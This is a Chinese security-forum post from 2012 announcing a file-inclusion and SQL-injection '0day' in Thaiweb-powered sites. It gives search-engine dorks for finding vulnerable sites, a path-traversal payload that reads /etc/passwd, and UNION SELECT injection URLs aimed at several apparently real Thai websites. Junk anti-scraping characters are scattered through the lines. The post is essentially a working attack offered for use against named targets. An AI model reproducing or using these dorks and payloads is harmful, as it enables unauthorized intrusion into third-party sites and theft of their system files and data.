找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2138|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:8 U. ]4 Q3 P, \+ M+ B* q! w

1 n1 [. P" O0 O3 \; K( Zintext:powered by Thaiweb
, P4 z8 K# `+ u, l3 C
0 q/ h; N. M6 f9 b  o3 minurl:index.php?page=board.php' M" h- h) w7 l- X6 o, w- o
: L; D# @% E- e3 y

  e( i6 S. |. [. G0 F1 ~: r0 U& n8 H, K
8 e6 v7 N4 y2 C利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
8 ~4 P9 m5 C" X. z. ?4 ~4 O+ q
* \: V7 c# ^0 U7 Q+ P* P
+ C5 g& D- ]3 h) ?0 f8 \5 _+ ^" Y' K4 o8 |- l4 b  [0 [
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
5 C3 c  o5 A$ N0 e3 F0 B- }+ U/ }  j2 J( w8 Y# Z* T3 n
  `/ X9 r/ t- ~7 o* k, R. a
# x. Y, q) Z' v( A" h( C! q* C5 ~
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
6 S. Y8 r8 C# x5 B7 v7 Q
' }: }) J4 s6 Khttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--1 \9 ~% j5 U% v2 T4 A- y
2 b! P3 A- g$ b8 I+ C. ?
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--$ f7 R! w% b+ T
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表